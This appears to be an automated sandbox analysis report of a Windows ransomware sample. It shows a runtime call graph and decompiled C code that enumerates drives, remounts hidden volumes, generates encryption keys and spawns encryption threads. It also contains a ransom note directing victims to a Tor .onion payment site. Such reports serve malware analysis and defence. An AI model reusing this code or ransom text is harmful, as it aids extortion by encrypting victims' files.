7998->8001 7999->7994 8002 40a8c2 _free 14 API calls 8000->8002 8001->8000 8001->8001 8002->7999 8573 4112a7 8574 4112c0 __startOneArgErrorHandling 8573->8574 8575 411641 20 API calls 8574->8575 8576 4112e9 __startOneArgErrorHandling 8574->8576 8575->8576 8394 408ae7 8395 408af1 8394->8395 8396 408afe 8394->8396 8395->8396 8397 409430 ___vcrt_freefls@4 14 API calls 8395->8397 8397->8396 8577 40b9ad 8578 40b9bf 8577->8578 8587 40b9bb 8577->8587 8579 40b9c4 8578->8579 8580 40b9ea 8578->8580 8581 40b1b0 __dosmaperr 14 API calls 8579->8581 8580->8587 8588 40d725 8580->8588 8582 40b9cd 8581->8582 8584 40a8c2 _free 14 API calls 8582->8584 8584->8587 8585 40ba0a 8586 40a8c2 _free 14 API calls 8585->8586 8586->8587 8589 40d732 8588->8589 8590 40d74d 8588->8590 8589->8590 8591 40d73e 8589->8591 8592 40d75c 8590->8592 8597 40eed1 8590->8597 8593 40abb3 _free 14 API calls 8591->8593 8604 40ef04 8592->8604 8596 40d743 __fassign 8593->8596 8596->8585 8598 40eef1 HeapSize 8597->8598 8599 40eedc 8597->8599 8598->8592 8600 40abb3 _free 14 API calls 8599->8600 8601 40eee1 8600->8601 8602 40aaf6 __fassign 25 API calls 8601->8602 8603 40eeec 8602->8603 8603->8592 8605 40ef11 8604->8605 8606 40ef1c 8604->8606 8607 40a8fc 15 API calls 8605->8607 8608 40ef24 8606->8608 8614 40ef2d __dosmaperr 8606->8614 8612 40ef19 8607->8612 8609 40a8c2 _free 14 API calls 8608->8609 8609->8612 8610 40ef32 8613 40abb3 _free 14 API calls 8610->8613 8611 40ef57 HeapReAlloc 8611->8612 8611->8614 8612->8596 8613->8612 8614->8610 8614->8611 8615 40d855 __dosmaperr 2 API calls 8614->8615 8615->8614 8398 4097ee 8399 409805 8398->8399 8400 4097fe 8398->8400 8401 409826 8399->8401 8403 409810 8399->8403 8402 40c100 47 API calls 8401->8402 8405 40982c 8402->8405 8404 40abb3 _free 14 API calls 8403->8404 8406 409815 8404->8406 8422 40bb41 GetModuleFileNameW 8405->8422 8408 40aaf6 __fassign 25 API calls 8406->8408 8408->8400 8412 409a9b 14 API calls 8413 409881 8412->8413 8414 409896 8413->8414 8415 40988a 8413->8415 8417 409924 37 API calls 8414->8417 8416 40abb3 _free 14 API calls 8415->8416 8421 40988f 8416->8421 8419 4098ae 8417->8419 8418 40a8c2 _free 14 API calls 8418->8400 8420 40a8c2 _free 14 API calls 8419->8420 8419->8421 8420->8421 8421->8418 8423 40bb70 GetLastError 8422->8423 8424 40bb81 8422->8424 8425 40ab7d __dosmaperr 14 API calls 8423->8425 8426 40b8ba 37 API calls 8424->8426 8428 40bb7c 8425->8428 8427 40bbb2 8426->8427 8438 40ba3f 8427->8438 8430 40798d _ValidateLocalCookies 5 API calls 8428->8430 8431 40983f 8430->8431 8432 409924 8431->8432 8434 409949 8432->8434 8433 40c426 37 API calls 8433->8434 8434->8433 8436 4099a9 8434->8436 8435 409874 8435->8412 8436->8435 8437 40c426 37 API calls 8436->8437 8437->8436 8439 40ba5b 8438->8439 8455 40ba4c 8438->8455 8440 40ba63 8439->8440 8441 40ba88 8439->8441 8440->8455 8459 40bb06 8440->8459 8442 40c4d3 ___scrt_uninitialize_crt WideCharToMultiByte 8441->8442 8444 40ba98 8442->8444 8445 40bab5 8444->8445 8446 40ba9f GetLastError 8444->8446 8447 40bac6 8445->8447 8450 40bb06 14 API calls 8445->8450 8448 40ab7d __dosmaperr 14 API calls 8446->8448 8451 40c4d3 ___scrt_uninitialize_crt WideCharToMultiByte 8447->8451 8447->8455 8449 40baab 8448->8449 8452 40abb3 _free 14 API calls 8449->8452 8450->8447 8453 40bade 8451->8453 8452->8455 8454 40bae5 GetLastError 8453->8454 8453->8455 8456 40ab7d __dosmaperr 14 API calls 8454->8456 8455->8428 8457 40baf1 8456->8457 8458 40abb3 _free 14 API calls 8457->8458 8458->8455 8460 40bb11 8459->8460 8461 40abb3 _free 14 API calls 8460->8461 8462 40bb1a 8461->8462 8462->8455 8463 40a5ef 8464 4086bd ___scrt_uninitialize_crt 7 API calls 8463->8464 8465 40a5f6 8464->8465 8466 40d6ef 8467 40d6fa 8466->8467 8469 40d720 8466->8469 8468 40d70a FreeLibrary 8467->8468 8467->8469 8468->8467 6465 407b70 6470 408206 SetUnhandledExceptionFilter 6465->6470 6467 407b75 6471 40a205 6467->6471 6469 407b80 6470->6467 6472 40a211 6471->6472 6473 40a22b 6471->6473 6472->6473 6478 40abb3 6472->6478 6473->6469 6484 40b05b GetLastError 6478->6484 6480 40a21b 6481 40aaf6 6480->6481 6704 40aa92 6481->6704 6483 40a226 6483->6469 6485 40b072 6484->6485 6486 40b078 6484->6486 6507 40d56a 6485->6507 6504 40b07e SetLastError 6486->6504 6512 40d5a9 6486->6512 6493 40b0c5 6495 40d5a9 __dosmaperr 6 API calls 6493->6495 6494 40b0ae 6496 40d5a9 __dosmaperr 6 API calls 6494->6496 6497 40b0d1 6495->6497 6500 40b0bc 6496->6500 6498 40b0d5 6497->6498 6499 40b0e6 6497->6499 6501 40d5a9 __dosmaperr 6 API calls 6498->6501 6530 40ad32 6499->6530 6524 40a8c2 6500->6524 6501->6500 6504->6480 6506 40a8c2 _free 12 API calls 6506->6504 6535 40d40a 6507->6535 6509 40d586 6510 40d5a1 TlsGetValue 6509->6510 6511 40d58f 6509->6511 6511->6486 6513 40d40a __dosmaperr 5 API calls 6512->6513 6514 40d5c5 6513->6514 6515 40d5e3 TlsSetValue 6514->6515 6516 40b096 6514->6516 6516->6504 6517 40b1b0 6516->6517 6522 40b1bd __dosmaperr 6517->6522 6518 40b1fd 6521 40abb3 _free 13 API calls 6518->6521 6519 40b1e8 RtlAllocateHeap 6520 40b0a6 6519->6520 6519->6522 6520->6493 6520->6494 6521->6520 6522->6518 6522->6519 6548 40d855 6522->6548 6525 40a8cd RtlFreeHeap 6524->6525 6529 40a8f6 _free 6524->6529 6526 40a8e2 6525->6526 6525->6529 6527 40abb3 _free 12 API calls 6526->6527 6528 40a8e8 GetLastError 6527->6528 6528->6529 6529->6504 6562 40abc6 6530->6562 6536 40d438 6535->6536 6540 40d434 __dosmaperr 6535->6540 6536->6540 6541 40d343 6536->6541 6539 40d452 GetProcAddress 6539->6540 6540->6509 6546 40d354 ___vcrt_FlsGetValue 6541->6546 6542 40d372 LoadLibraryExW 6543 40d38d GetLastError 6542->6543 6542->6546 6543->6546 6544 40d3e8 FreeLibrary 6544->6546 6545 40d3ff 6545->6539 6545->6540 6546->6542 6546->6544 6546->6545 6547 40d3c0 LoadLibraryExW 6546->6547 6547->6546 6551 40d882 6548->6551 6552 40d88e ___scrt_is_nonwritable_in_current_image 6551->6552 6557 40c67c EnterCriticalSection 6552->6557 6554 40d899 6558 40d8d5 6554->6558 6557->6554 6561 40c6c4 LeaveCriticalSection 6558->6561 6560 40d860 6560->6522 6561->6560 6563 40abd2 ___scrt_is_nonwritable_in_current_image 6562->6563 6576 40c67c EnterCriticalSection 6563->6576 6565 40abdc 6577 40ac0c 6565->6577 6568 40acd8 6569 40ace4 ___scrt_is_nonwritable_in_current_image 6568->6569 6581 40c67c EnterCriticalSection 6569->6581 6571 40acee 6582 40aeb9 6571->6582 6573 40ad06 6586 40ad26 6573->6586 6576->6565 6580 40c6c4 LeaveCriticalSection 6577->6580 6579 40abfa 6579->6568 6580->6579 6581->6571 6583 40aeef __dosmaperr 6582->6583 6584 40aec8 __dosmaperr 6582->6584 6583->6573 6584->6583 6589 40cfd8 6584->6589 6703 40c6c4 LeaveCriticalSection 6586->6703 6588 40ad14 6588->6506 6590 40d058 6589->6590 6593 40cfee 6589->6593 6591 40d0a6 6590->6591 6594 40a8c2 _free 14 API calls 6590->6594 6657 40d149 6591->6657 6593->6590 6595 40d021 6593->6595 6600 40a8c2 _free 14 API calls 6593->6600 6596 40d07a 6594->6596 6597 40d043 6595->6597 6605 40a8c2 _free 14 API calls 6595->6605 6598 40a8c2 _free 14 API calls 6596->6598 6599 40a8c2 _free 14 API calls 6597->6599 6601 40d08d 6598->6601 6602 40d04d 6599->6602 6604 40d016 6600->6604 6606 40a8c2 _free 14 API calls 6601->6606 6607 40a8c2 _free 14 API calls 6602->6607 6603 40d114 6608 40a8c2 _free 14 API calls 6603->6608 6617 40cb91 6604->6617 6611 40d038 6605->6611 6612 40d09b 6606->6612 6607->6590 6613 40d11a 6608->6613 6610 40a8c2 14 API calls _free 6614 40d0b4 6610->6614 6645 40cc8f 6611->6645 6616 40a8c2 _free 14 API calls 6612->6616 6613->6583 6614->6603 6614->6610 6616->6591 6618 40cba2 6617->6618 6644 40cc8b 6617->6644 6619 40cbb3 6618->6619 6620 40a8c2 _free 14 API calls 6618->6620 6621 40cbc5 6619->6621 6623 40a8c2 _free 14 API calls 6619->6623 6620->6619 6622 40cbd7 6621->6622 6624 40a8c2 _free 14 API calls 6621->6624 6625 40cbe9 6622->6625 6626 40a8c2 _free 14 API calls 6622->6626 6623->6621 6624->6622 6627 40cbfb 6625->6627 6628 40a8c2 _free 14 API calls 6625->6628 6626->6625 6629 40cc0d 6627->6629 6631 40a8c2 _free 14 API calls 6627->6631 6628->6627 6630 40cc1f 6629->6630 6632 40a8c2 _free 14 API calls 6629->6632 6633 40cc31 6630->6633 6634 40a8c2 _free 14 API calls 6630->6634 6631->6629 6632->6630 6635 40cc43 6633->6635 6636 40a8c2 _free 14 API calls 6633->6636 6634->6633 6637 40cc55 6635->6637 6639 40a8c2 _free 14 API calls 6635->6639 6636->6635 6638 40cc67 6637->6638 6640 40a8c2 _free 14 API calls 6637->6640 6641 40a8c2 _free 14 API calls 6638->6641 6642 40cc79 6638->6642 6639->6637 6640->6638 6641->6642 6643 40a8c2 _free 14 API calls 6642->6643 6642->6644 6643->6644 6644->6595 6646 40cc9c 6645->6646 6656 40ccf4 6645->6656 6647 40ccac 6646->6647 6648 40a8c2 _free 14 API calls 6646->6648 6649 40ccbe 6647->6649 6650 40a8c2 _free 14 API calls 6647->6650 6648->6647 6651 40a8c2 _free 14 API calls 6649->6651 6652 40ccd0 6649->6652 6650->6649 6651->6652 6653 40a8c2 _free 14 API calls 6652->6653 6654 40cce2 6652->6654 6653->6654 6655 40a8c2 _free 14 API calls 6654->6655 6654->6656 6655->6656 6656->6597 6658 40d156 6657->6658 6659 40d175 6657->6659 6658->6659 6663 40cd30 6658->6663 6659->6614 6662 40a8c2 _free 14 API calls 6662->6659 6664 40ce0e 6663->6664 6665 40cd41 6663->6665 6664->6662 6699 40ccf8 6665->6699 6668 40ccf8 __dosmaperr 14 API calls 6669 40cd54 6668->6669 6670 40ccf8 __dosmaperr 14 API calls 6669->6670 6671 40cd5f 6670->6671 6672 40ccf8 __dosmaperr 14 API calls 6671->6672 6673 40cd6a 6672->6673 6674 40ccf8 __dosmaperr 14 API calls 6673->6674 6675 40cd78 6674->6675 6676 40a8c2 _free 14 API calls 6675->6676 6677 40cd83 6676->6677 6678 40a8c2 _free 14 API calls 6677->6678 6679 40cd8e 6678->6679 6680 40a8c2 _free 14 API calls 6679->6680 6681 40cd99 6680->6681 6682 40ccf8 __dosmaperr 14 API calls 6681->6682 6683 40cda7 6682->6683 6684 40ccf8 __dosmaperr 14 API calls 6683->6684 6685 40cdb5 6684->6685 6686 40ccf8 __dosmaperr 14 API calls 6685->6686 6687 40cdc6 6686->6687 6688 40ccf8 __dosmaperr 14 API calls 6687->6688 6689 40cdd4 6688->6689 6690 40ccf8 __dosmaperr 14 API calls 6689->6690 6691 40cde2 6690->6691 6692 40a8c2 _free 14 API calls 6691->6692 6693 40cded 6692->6693 6694 40a8c2 _free 14 API calls 6693->6694 6695 40cdf8 6694->6695 6696 40a8c2 _free 14 API calls 6695->6696 6697 40ce03 6696->6697 6698 40a8c2 _free 14 API calls 6697->6698 6698->6664 6700 40cd2b 6699->6700 6701 40cd1b 6699->6701 6700->6668 6701->6700 6702 40a8c2 _free 14 API calls 6701->6702 6702->6701 6703->6588 6705 40b05b __dosmaperr 14 API calls 6704->6705 6706 40aa9d 6705->6706 6707 40aaab 6706->6707 6712 40ab06 IsProcessorFeaturePresent 6706->6712 6707->6483 6709 40aaf5 6710 40aa92 __fassign 25 API calls 6709->6710 6711 40ab02 6710->6711 6711->6483 6713 40ab12 6712->6713 6716 40a94a 6713->6716 6717 40a966 __fassign 6716->6717 6718 40a992 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 6717->6718 6721 40aa63 __fassign 6718->6721 6720 40aa81 GetCurrentProcess TerminateProcess 6720->6709 6722 40798d 6721->6722 6723 407995 6722->6723 6724 407996 IsProcessorFeaturePresent 6722->6724 6723->6720 6726 4079d8 6724->6726 6729 40799b SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 6726->6729 6728 407abb 6728->6720 6729->6728 8003 409c70 8004 409c82 8003->8004 8005 409c88 8003->8005 8006 409c18 14 API calls 8004->8006 8006->8005 8470 4089f0 8471 408a02 8470->8471 8473 408a10 8470->8473 8472 40798d _ValidateLocalCookies 5 API calls 8471->8472 8472->8473 8125 408734 8128 408782 8125->8128 8129 40873f 8128->8129 8130 40878b 8128->8130 8130->8129 8131 408b03 47 API calls 8130->8131 8132 4087c6 8131->8132 8133 408b03 47 API calls 8132->8133 8134 4087d1 8133->8134 8135 40a72e 37 API calls 8134->8135 8136 4087d9 8135->8136 8007 40a175 8010 40a0da 8007->8010 8011 40a0e6 ___scrt_is_nonwritable_in_current_image 8010->8011 8018 40c67c EnterCriticalSection 8011->8018 8013 40a11e 8019 40a13c 8013->8019 8015 40a0f0 8015->8013 8016 40d2a5 __fassign 14 API calls 8015->8016 8016->8015 8018->8015 8022 40c6c4 LeaveCriticalSection 8019->8022 8021 40a12a 8022->8021 7795 409af6 7796 40c100 47 API calls 7795->7796 7797 409b08 7796->7797 7806 40c5b7 GetEnvironmentStringsW 7797->7806 7800 409b13 7803 40a8c2 _free 14 API calls 7800->7803 7804 409b42 7803->7804 7805 40a8c2 _free 14 API calls 7805->7800 7807 40c5ce 7806->7807 7817 40c624 7806->7817 7810 40c4d3 ___scrt_uninitialize_crt WideCharToMultiByte 7807->7810 7808 409b0d 7808->7800 7818 409b48 7808->7818 7809 40c62d FreeEnvironmentStringsW 7809->7808 7811 40c5e7 7810->7811 7812 40a8fc 15 API calls 7811->7812 7811->7817 7813 40c5f7 7812->7813 7814 40c60f 7813->7814 7815 40c4d3 ___scrt_uninitialize_crt WideCharToMultiByte 7813->7815 7816 40a8c2 _free 14 API calls 7814->7816 7815->7814 7816->7817 7817->7808 7817->7809 7819 409b5d 7818->7819 7820 40b1b0 __dosmaperr 14 API calls 7819->7820 7831 409b84 7820->7831 7821 409be9 7822 40a8c2 _free 14 API calls 7821->7822 7823 409b1e 7822->7823 7823->7805 7824 40b1b0 __dosmaperr 14 API calls 7824->7831 7825 409beb 7844 409c18 7825->7844 7829 40a8c2 _free 14 API calls 7829->7821 7830 409c0b 7832 40ab06 __fassign 11 API calls 7830->7832 7831->7821 7831->7824 7831->7825 7831->7830 7833 40a8c2 _free 14 API calls 7831->7833 7835 40a76a 7831->7835 7834 409c17 7832->7834 7833->7831 7836 40a777 7835->7836 7837 40a785 7835->7837 7836->7837 7842 40a79c 7836->7842 7838 40abb3 _free 14 API calls 7837->7838 7839 40a78d 7838->7839 7840 40aaf6 __fassign 25 API calls 7839->7840 7841 40a797 7840->7841 7841->7831 7842->7841 7843 40abb3 _free 14 API calls 7842->7843 7843->7839 7845 409c25 7844->7845 7849 409bf1 7844->7849 7846 409c3c 7845->7846 7847 40a8c2 _free 14 API calls 7845->7847 7848 40a8c2 _free 14 API calls 7846->7848 7847->7845 7848->7849 7849->7829 8474 40edf7 8475 40c100 47 API calls 8474->8475 8476 40edfc 8475->8476 8616 407cb7 8617 4081c4 GetModuleHandleW 8616->8617 8618 407cbf 8617->8618 8619 407cc3 8618->8619 8620 407cf5 8618->8620 8623 407cce 8619->8623 8625 40a02d 8619->8625 8621 40a04b __fassign 23 API calls 8620->8621 8624 407cfd 8621->8624 8626 409ee2 __fassign 23 API calls 8625->8626 8627 40a038 8626->8627 8627->8623 8477 40a5f8 8480 40a65f 8477->8480 8481 40a60b 8480->8481 8482 40a673 8480->8482 8482->8481 8483 40a8c2 _free 14 API calls 8482->8483 8483->8481 8628 40a5b9 8631 409ca6 8628->8631 8632 409cb5 8631->8632 8633 409c18 14 API calls 8632->8633 8634 409ccf 8633->8634 8635 409c18 14 API calls 8634->8635 8636 409cda 8635->8636 8637 4107bb IsProcessorFeaturePresent 8137 40c63b 8138 40c646 8137->8138 8139 40d5eb 6 API calls 8138->8139 8140 40c66f 8138->8140 8141 40c66b 8138->8141 8139->8138 8143 40c693 8140->8143 8144 40c6a0 8143->8144 8146 40c6bf 8143->8146 8145 40c6aa DeleteCriticalSection 8144->8145 8145->8145 8145->8146 8146->8141 8638 407abd 8639 407ac5 8638->8639 8655 40a09d 8639->8655 8641 407ad0 8662 407db7 8641->8662 8643 408073 4 API calls 8645 407b67 8643->8645 8644 407ae5 __RTC_Initialize 8653 407b42 8644->8653 8668 407f44 8644->8668 8647 407afe 8647->8653 8671 407fff InitializeSListHead 8647->8671 8649 407b14 8672 40800e 8649->8672 8651 407b37 8678 40a19c 8651->8678 8653->8643 8654 407b5f 8653->8654 8656 40a0cf 8655->8656 8657 40a0ac 8655->8657 8656->8641 8657->8656 8658 40abb3 _free 14 API calls 8657->8658 8659 40a0bf 8658->8659 8660 40aaf6 __fassign 25 API calls 8659->8660 8661 40a0ca 8660->8661 8661->8641 8663 407dc3 8662->8663 8664 407dc7 8662->8664 8663->8644 8665 408073 4 API calls 8664->8665 8667 407dd4 ___scrt_release_startup_lock 8664->8667 8666 407e3d 8665->8666 8667->8644 8685 407f17 8668->8685 8671->8649 8720 40a6cf 8672->8720 8674 40801f 8675 408026 8674->8675 8676 408073 4 API calls 8674->8676 8675->8651 8677 40802e 8676->8677 8677->8651 8679 40af04 __fassign 37 API calls 8678->8679 8681 40a1a7 8679->8681 8680 40a1df 8680->8653 8681->8680 8682 40abb3 _free 14 API calls 8681->8682 8683 40a1d4 8682->8683 8684 40aaf6 __fassign 25 API calls 8683->8684 8684->8680 8686 407f26 8685->8686 8687 407f2d 8685->8687 8691 40a4f3 8686->8691 8694 40a55f 8687->8694 8690 407f2b 8690->8647 8692 40a55f 28 API calls 8691->8692 8693 40a505 8692->8693 8693->8690 8697 40a295 8694->8697 8698 40a2a1 ___scrt_is_nonwritable_in_current_image 8697->8698 8705 40c67c EnterCriticalSection 8698->8705 8700 40a2af 8706 40a2f0 8700->8706 8702 40a2bc 8716 40a2e4 8702->8716 8705->8700 8707 40a30c 8706->8707 8708 40a383 __dosmaperr 8706->8708 8707->8708 8709 40a363 8707->8709 8710 40d725 28 API calls 8707->8710 8708->8702 8709->8708 8711 40d725 28 API calls 8709->8711 8712 40a359 8710->8712 8713 40a379 8711->8713 8714 40a8c2 _free 14 API calls 8712->8714 8715 40a8c2 _free 14 API calls 8713->8715 8714->8709 8715->8708 8719 40c6c4 LeaveCriticalSection 8716->8719 8718 40a2cd 8718->8690 8719->8718 8721 40a6ed 8720->8721 8725 40a70d 8720->8725 8722 40abb3 _free 14 API calls 8721->8722 8723 40a703 8722->8723 8724 40aaf6 __fassign 25 API calls 8723->8724 8724->8725 8725->8674 8147 40c43e GetCommandLineA GetCommandLineW 8484 407cfe 8487 407fa6 8484->8487 8486 407d03 8486->8486 8488 407fbc 8487->8488 8490 407fc5 8488->8490 8491 407f59 GetSystemTimeAsFileTime GetCurrentThreadId GetCurrentProcessId QueryPerformanceCounter 8488->8491 8490->8486 8491->8490

                                                          Executed Functions

                                                          Function 00406B30 Relevance: 158.1, APIs: 51, Strings: 39, Instructions: 555threadmemorystringCOMMONCrypto
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 0 406b30-406c6b call 402c90 call 4087f0 5 406c70-406c7e GetDriveTypeW 0->5 6 406c80-406c87 5->6 7 406c88-406c8c 5->7 6->7 7->5 8 406c8e-406c9f call 40944b 7->8 11 406d35-406d4b 8->11 12 406ca5-406cb8 call 40944b 8->12 13 406d50-406d70 GetTickCount Sleep 11->13 19 406cba-406cc6 FindFirstVolumeW 12->19 20 406d2c-406d32 call 409430 12->20 13->13 15 406d72-406dd7 wsprintfA CryptAcquireContextA 13->15 17 406dd9-406de4 CryptGenRandom 15->17 18 406dea-406eb0 call 406450 * 2 CreateSemaphoreW * 2 InitializeCriticalSection CreateThread 15->18 17->18 35 406ec0 18->35 36 406eb2-406ebb SetThreadPriority 18->36 23 406cc8-406cca 19->23 20->11 26 406d19-406d29 FindVolumeClose call 409430 23->26 27 406ccc-406ce4 GetVolumePathNamesForVolumeNameW 23->27 26->20 30 406ce6-406cf7 lstrlenW 27->30 31 406cf9-406d02 SetVolumeMountPointWStub 27->31 30->31 34 406d08-406d17 FindNextVolumeW 30->34 31->34 34->23 34->26 37 406ec5-406ee2 CreateThread SetThreadPriority 35->37 36->35 37->37 38 406ee4-406f0f GetLogicalDrives 37->38 39 406f12-406f14 38->39 40 407008-40701a 39->40 41 406f1a-406f1d 39->41 40->39 44 407020-407022 40->44 42 406f43-406f54 call 40944b 41->42 43 406f1f-406f2d WaitForMultipleObjects 41->43 57 406ff6 42->57 58 406f5a-406f77 wsprintfW GetDriveTypeW 42->58 45 406f30-406f3a CloseHandle 43->45 47 407041-407048 44->47 48 407024-407034 WaitForMultipleObjects 44->48 45->45 49 406f3c-406f3e 45->49 52 407060-407082 DeleteCriticalSection CloseHandle * 2 47->52 53 40704a 47->53 48->47 51 407036-40703f CloseHandle 48->51 56 406ffc-407004 49->56 51->47 51->51 54 407084-407087 CryptReleaseContext 52->54 55 40708d-4070aa CoCreateInstance 52->55 59 407050-40705e Sleep 53->59 54->55 60 4070b0-4070d9 GetModuleHandleA GetProcAddress 55->60 61 4072f8-40730e call 40798d 55->61 56->40 57->56 62 406f80-406f9b call 40944b 58->62 63 406f79-406f7e 58->63 59->52 59->59 64 4070db-4070eb GetCurrentProcess 60->64 65 4070ed-4070f2 60->65 62->57 74 406f9d-406fcf call 4087f0 WNetGetConnectionW call 409430 62->74 66 406fd3-406fe6 CreateThread 63->66 64->65 71 40712e-407148 CoCreateInstance 64->71 70 4070f4-40712c VariantInit VariantClear 65->70 65->71 66->57 69 406fe8-406ff5 SetThreadPriority 66->69 69->57 70->71 76 4072ee-4072f3 71->76 77 40714e-407154 71->77 74->66 76->61 77->76 80 40715a-40717a 77->80 84 407180-407186 80->84 85 4072e4-4072e9 80->85 84->85 87 40718c-4071a3 CoSetProxyBlanket 84->87 85->76 88 4071a9-4071d0 87->88 89 4072da-4072df 87->89 88->89 91 4071d6-4071fb 88->91 89->85 91->89 93 407201-407207 91->93 94 407210-40722c 93->94 96 40729e-4072d4 VariantClear 94->96 97 40722e-407234 94->97 96->89 96->94 97->96 98 407236-407276 lstrlenW GetProcessHeap HeapAlloc lstrlenW wnsprintfW 97->98 100 407297-40729c VariantClear 98->100 101 407278-407291 GetProcessHeap HeapFree 98->101 100->96 101->100
                                                          C-Code - Quality: 50%
                                                          			E00406B30(void* __eflags) {
				signed int _v8;
				signed int _v44;
				char _v260;
				signed int _v261;
				short _v276;
				char _v288;
				char _v292;
				char _v296;
				char _v404;
				intOrPtr _v408;
				intOrPtr _v412;
				intOrPtr _v416;
				intOrPtr _v420;
				intOrPtr _v424;
				intOrPtr _v428;
				intOrPtr _v432;
				intOrPtr _v436;
				intOrPtr _v440;
				intOrPtr _v444;
				intOrPtr _v448;
				intOrPtr _v452;
				intOrPtr _v456;
				intOrPtr _v460;
				intOrPtr _v464;
				intOrPtr _v468;
				intOrPtr _v472;
				intOrPtr _v476;
				intOrPtr _v480;
				intOrPtr _v484;
				intOrPtr _v488;
				intOrPtr _v492;
				intOrPtr _v496;
				intOrPtr _v500;
				intOrPtr _v504;
				CHAR* _v508;
				char _v517;
				short _v519;
				long _v523;
				long* _v536;
				struct _SECURITY_ATTRIBUTES* _v544;
				long _v548;
				signed int _v552;
				void* _v556;
				int _v560;
				intOrPtr _v564;
				char* _v572;
				char _v576;
				unsigned int _v580;
				long _v588;
				char _v596;
				intOrPtr* _v600;
				intOrPtr* _v604;
				char _v616;
				intOrPtr* _v620;
				intOrPtr* _v636;
				intOrPtr _v652;
				long _v672;
				intOrPtr* _v684;
				intOrPtr* _v696;
				char _v700;
				long _v704;
				char _v708;
				intOrPtr* _v720;
				WCHAR* _v724;
				char _v728;
				short _v732;
				char _v736;
				intOrPtr* _v744;
				intOrPtr* _v748;
				char _v752;
				long _v756;
				intOrPtr _v776;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t154;
				int _t159;
				void* _t160;
				signed int _t166;
				long* _t168;
				void* _t177;
				void* _t178;
				unsigned int _t180;
				long* _t183;
				_Unknown_base(*)()* _t189;
				intOrPtr* _t192;
				intOrPtr* _t196;
				intOrPtr _t198;
				intOrPtr* _t199;
				intOrPtr* _t201;
				intOrPtr* _t203;
				intOrPtr* _t205;
				intOrPtr* _t207;
				intOrPtr* _t211;
				signed int _t213;
				void* _t216;
				intOrPtr* _t222;
				intOrPtr* _t228;
				WCHAR* _t239;
				int _t241;
				long _t242;
				void* _t248;
				void* _t255;
				int _t259;
				WCHAR* _t262;
				void* _t263;
				void* _t266;
				_Unknown_base(*)()* _t267;
				void* _t269;
				char _t273;
				intOrPtr* _t279;
				WCHAR* _t287;
				void* _t300;
				signed int _t301;
				void* _t302;
				void* _t303;
				void* _t304;
				void* _t305;
				WCHAR* _t307;
				void* _t309;
				intOrPtr* _t310;
				signed int _t311;
				void* _t312;
				signed int _t314;
				void* _t315;
				long _t317;
				intOrPtr* _t318;
				void* _t319;
				void* _t320;
				signed int _t322;
				signed int _t323;
				signed int _t325;
				void* _t326;
				void* _t327;
				void* _t328;
				signed int _t330;
				void* _t332;

				_t325 = (_t323 & 0xfffffff8) - 0x234;
				_t154 =  *0x41a000; // 0xdd666744
				_v8 = _t154 ^ _t325;
				_push(_t300);
				E00402C90(_t300);
				_v508 = L"Q:\\";
				_v504 = L"W:\\";
				_v500 = L"E:\\";
				_v496 = L"R:\\";
				_v492 = L"T:\\";
				_v488 = L"Y:\\";
				_v484 = L"U:\\";
				_v480 = L"I:\\";
				_v476 = L"O:\\";
				_v472 = L"P:\\";
				_v468 = L"A:\\";
				_v464 = L"S:\\";
				_v460 = L"D:\\";
				_v456 = L"F:\\";
				_v452 = L"G:\\";
				_v448 = L"H:\\";
				_v444 = L"J:\\";
				_v440 = L"K:\\";
				_v436 = L"L:\\";
				_v432 = L"Z:\\";
				_v428 = L"X:\\";
				_v424 = L"C:\\";
				_v420 = L"V:\\";
				_v416 = L"B:\\";
				_v412 = L"N:\\";
				_v408 = L"M:\\";
				E004087F0(_t300,  &_v404, 0, 0x68);
				_t314 = 0;
				_t326 = _t325 + 0xc;
				_v544 = 0;
				_t301 = 0;
				do {
					_t262 =  *(_t326 + 0x48 + _t301 * 4);
					_t159 = GetDriveTypeW(_t262); // executed
					if(_t159 == 1) {
						 *(_t326 + 0xb0 + _t314 * 4) = _t262;
						_t314 = _t314 + 1;
					}
					_t301 = _t301 + 1;
				} while (_t301 < 0x1a);
				_push(0x10000); // executed
				_t160 = E0040944B(); // executed
				_t302 = _t160;
				_t327 = _t326 + 4;
				if(_t302 == 0) {
					L14:
					_t303 = GetTickCount;
					_t315 = 0;
					_t263 = Sleep;
					_v288 = 0;
					do {
						 *((char*)(_t327 + _t315 + 0x120)) = GetTickCount() % 0x1a + 0x41;
						Sleep(0x3f2); // executed
						_t315 = _t315 + 1;
					} while (_t315 < 8);
					wsprintfA("Attention! All your files, documents, photos, databases and other important files are encryptedThe only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.The serv", "Attention! \r\n\r\nAll your files, documents, photos, databases and other important files are encrypted\r\n\r\nThe only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.\r\n\r\n\r\nThe server with your decryptor is in a closed network TOR. You can get there by the following ways:\r\n\r\n----------------------------------------------------------------------------------------\r\n\r\n1. Download Tor browser - https://www.torproject.org/ \r\n2. Install Tor browser \r\n3. Open Tor Browser \r\n4. Open link in TOR browser:   http://mmcbkgua72og66w4jz3qcxkkhefax754pg6iknmtfujvkt2j65ffraad.onion/?M01%s \r\n5. and open ticket \r\n\r\n----------------------------------------------------------------------------------------\r\n\r\n\r\n\r\n\r\nAlternate communication channel here: https://yip.su/2QstD5\r\n\r\n",  &_v296);
					_t328 = _t327 + 0xc;
					_t166 = CryptAcquireContextA( &_v536, 0, 0, 1, 0xf0000040); // executed
					_v548 = 9;
					asm("xorps xmm0, xmm0");
					_v523 = 0;
					asm("sbb eax, eax");
					asm("movq [esp+0x39], xmm0");
					_t168 =  ~_t166 & _v552;
					_t347 = _t168;
					 *0x41bebc = _t168;
					asm("movups [esp+0x29], xmm0");
					_v519 = 0;
					_v517 = 0;
					if(_t168 != 0) {
						CryptGenRandom(_t168, 0x20,  &_v292);
					}
					_v292 = _v292 & 0x000000f8;
					_v261 = _v261 & 0x0000003f | 0x00000040;
					E00406450(_t263, 0x41bec0, _t303, _t347,  &_v548);
					E00406450(_t263, 0x41bee0, _t303, _t347, 0x41a880);
					_t330 = _t328 + 8;
					 *0x41bea0 = 0;
					 *0x41b9e0 = 0;
					 *0x41be98 = 0;
					 *0x41b9e4 = CreateSemaphoreW(0, 0x12c, 0x12c, 0);
					 *0x41be9c = CreateSemaphoreW(0, 0, 0x12c, 0);
					InitializeCriticalSection(0x41bea4);
